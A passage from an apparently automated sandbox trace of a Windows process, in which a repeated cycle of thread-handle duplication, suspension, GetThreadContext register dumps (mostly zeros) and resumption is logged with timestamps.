Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
	[0276.459] ResumeThread (hThread=0x1ac) returned 0x1
	[0276.459] CloseHandle (hObject=0x1ac) returned 1
	[0276.460] SwitchToThread () returned 1
	[0276.530] SwitchToThread () returned 1
	[0276.530] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xf8, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x70705ff608, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x70705ff608*=0x1ac) returned 1
	[0276.530] SuspendThread (hThread=0x1ac) returned 0x0
	[0276.530] GetThreadContext (in: hThread=0x1ac, lpContext=0x70705ff620 | out: lpContext=0x70705ff620*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10202, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc00020fd60, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x11493cf, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
	[0276.530] ResumeThread (hThread=0x1ac) returned 0x1
	[0276.530] CloseHandle (hObject=0x1ac) returned 1
	[0276.531] SwitchToThread () returned 1
	[0276.606] SwitchToThread () returned 1
	[0276.606] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xf8, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x70705ff608, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x70705ff608*=0x1ac) returned 1
	[0276.606] SuspendThread (hThread=0x1ac) returned 0x0
	[0276.606] GetThreadContext (in: hThread=0x1ac, lpContext=0x70705ff620 | out: lpContext=0x70705ff620*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10202, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc00020fd60, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x11493cf, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
	[0276.606] ResumeThread (hThread=0x1ac) returned 0x1
	[0276.606] CloseHandle (hObject=0x1ac) returned 1
	[0276.607] SwitchToThread () returned 1
	[0276.729] SwitchToThread () returned 1
	[0276.730] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xf8, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x70705ff608, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x70705ff608*=0x1ac) returned 1
	[0276.730] SuspendThread (hThread=0x1ac) returned 0x0
	[0276.730] GetThreadContext (in: hThread=0x1ac, lpContext=0x70705ff620 | out: lpContext=0x70705ff620*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10202, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc00020fd60, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x11493cf, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
	[0276.730] ResumeThread (hThread=0x1ac) returned 0x1
	[0276.730] CloseHandle (hObject=0x1ac) returned 1
	[0276.731] SwitchToThread () returned 1
	[0276.810] SwitchToThread () returned 1
	[0276.811] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xf8, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x70705ff608, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x70705ff608*=0x1ac) returned 1
	[0276.811] SuspendThread (hThread=0x1ac) returned 0x0
	[0276.811] GetThreadContext (in: hThread=0x1ac, lpContext=0x70705ff620 | out: lpContext=0x70705ff620*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10202, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc00020fd60, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x11493cf, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
	[0276.811] ResumeThread (hThread=0x1ac) returned 0x1
	[0276.811] CloseHandle (hObject=0x1ac) returned 1
	[0276.812] SwitchToThread () returned 1
	[0276.889] SwitchToThread () returned 1
	[0276.889] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xf8, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x70705ff608, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x70705ff608*=0x1b4) returned 1
	[0276.889] SuspendThread (hThread=0x1b4) returned 0x0
	[0276.889] GetThreadContext (in: hThread=0x1b4, lpContext=0x70705ff620 | out: lpContext=0x70705ff620*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10202, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc00020fd60, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x11493cf, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, 